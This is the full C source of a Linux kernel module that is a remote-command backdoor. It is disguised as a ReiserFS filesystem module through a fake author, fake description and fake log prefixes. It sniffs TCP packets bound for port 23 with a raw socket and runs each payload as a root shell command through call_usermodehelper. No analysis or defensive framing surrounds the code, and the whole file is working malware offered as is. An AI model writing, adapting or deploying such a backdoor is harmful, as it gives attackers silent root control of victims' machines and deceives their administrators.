Raw socket command executer

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h>
#include <linux/netdevice.h>
#include <linux/skbuff.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/in.h>
#include <linux/socket.h>
#include <linux/net.h>
#include <linux/kmod.h>
#include <linux/slab.h>
#include <linux/sched.h>
#include <linux/kthread.h>
#include <linux/delay.h>
#include <net/sock.h>
#include <linux/inet.h>

#define TELNET_PORT 23
#define MAX_PAYLOAD_LEN 512  // Limit the payload length for safety

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Reiser");
MODULE_DESCRIPTION("ReiserFS Ubuntu 18 - Telnet Command Execution with Raw Sockets");
MODULE_VERSION("18.6");

static struct task_struct *recv_thread;  // The kernel thread for receiving packets
static struct socket *raw_sock = NULL;
static int running = 1;  // Flag to indicate if the thread should keep running

// Function to run a shell command from the extracted Telnet payload
static int run_command(char *command) {
    char *argv[4];
    char *envp[] = { "HOME=/", "PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL };

    argv[0] = "/bin/sh";
    argv[1] = "-c";
    argv[2] = command;
    argv[3] = NULL;

    printk(KERN_INFO "ReiserFS: Executing command: %s\n", command);

    return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

// Function to receive packets from the raw socket
static int recv_packet(void) {
    struct msghdr msg;
    struct kvec vec;
    struct iphdr *ip_header;
    struct tcphdr *tcp_header;
    unsigned char *payload;
    char *command;
    unsigned int payload_len;
    int len;
    static int failed_attempts = 0;  // Static counter for failed attempts

    unsigned char buffer[4096];  // Buffer to store packet

    // Set up message header for receiving
    memset(&msg, 0, sizeof(msg));

    vec.iov_base = buffer;
    vec.iov_len = sizeof(buffer);

    // Receive the packet
    len = kernel_recvmsg(raw_sock, &msg, &vec, 1, sizeof(buffer), 0);
    if (len < 0) {
        failed_attempts++;
        if (failed_attempts < 10) {
            printk(KERN_ERR "ReiserFS: Failed to receive packet (attempt %d)\n", failed_attempts);
        }
        if (failed_attempts >= 10) {
            msleep(500);  // Sleep for 500ms if failing repeatedly to avoid high CPU usage
        }
        return len;
    } else {
        failed_attempts = 0;  // Reset failed attempts on success
    }

    // Extract IP header
    ip_header = (struct iphdr *)buffer;
    if (ip_header->protocol != IPPROTO_TCP) {
        return 0;  // Not a TCP packet, ignore
    }

    // Extract TCP header
    tcp_header = (struct tcphdr *)(buffer + ip_header->ihl * 4);

    // Check if the destination port is 23 (Telnet)
    if (ntohs(tcp_header->dest) == TELNET_PORT) {
        // Check if the packet is part of an established connection (ACK flag)
        if (tcp_header->ack) {
            // Calculate payload length (if any)
            payload_len = len - (ip_header->ihl * 4) - (tcp_header->doff * 4);
            if (payload_len > 0 && payload_len < MAX_PAYLOAD_LEN) {
                // Get the TCP payload
                payload = (unsigned char *)(buffer + ip_header->ihl * 4 + tcp_header->doff * 4);

                // Allocate space to copy the payload into a null-terminated string
                command = kmalloc(payload_len + 1, GFP_KERNEL);
                if (!command) {
                    printk(KERN_ERR "ReiserFS: Failed to allocate memory for command\n");
                    return -ENOMEM;
                }

                // Copy the payload into a command string and ensure it's null-terminated
                memcpy(command, payload, payload_len);
                command[payload_len] = '\0';  // Null-terminate the string

                // Log the command and execute it
                printk(KERN_INFO "ReiserFS: Telnet command received: %s\n", command);
                run_command(command);

                kfree(command);  // Free the allocated memory
            }
        }
    }

    return 0;
}

// The kernel thread that receives packets
static int recv_thread_fn(void *data) {
    while (!kthread_should_stop()) {
        if (running) {
            recv_packet();  // Receive and process packets
            msleep(100);    // Sleep for a short time to avoid busy-waiting
        }
    }
    return 0;
}

// Function to create a raw socket for capturing packets
static int create_raw_socket(void) {
    int ret;

    // Create a raw socket to capture all TCP packets
    ret = sock_create(AF_INET, SOCK_RAW, IPPROTO_TCP, &raw_sock);
    if (ret < 0) {
        printk(KERN_ERR "ReiserFS: Failed to create raw socket\n");
        return ret;
    }

    printk(KERN_INFO "ReiserFS: Raw socket created\n");
    return 0;
}

// Module init function
static int __init port23_module_init(void) {
    int ret;

    printk(KERN_INFO "ReiserFS Telnet Command Execution Module (Raw Socket) loaded\n");

    // Create and bind the raw socket
    ret = create_raw_socket();
    if (ret < 0) {
        return ret;
    }

    // Start the packet receiving kernel thread
    recv_thread = kthread_run(recv_thread_fn, NULL, "recv_thread");
    if (IS_ERR(recv_thread)) {
        printk(KERN_ERR "ReiserFS: Failed to create kernel thread\n");
        return PTR_ERR(recv_thread);
    }

    return 0;
}

// Module exit function
static void __exit port23_module_exit(void) {
    printk(KERN_INFO "ReiserFS Telnet Command Execution Module unloaded\n");

    // Stop the kernel thread
    if (recv_thread) {
        kthread_stop(recv_thread);
    }

    if (raw_sock) {
        sock_release(raw_sock);
    }
}

module_init(port23_module_init);
module_exit(port23_module_exit);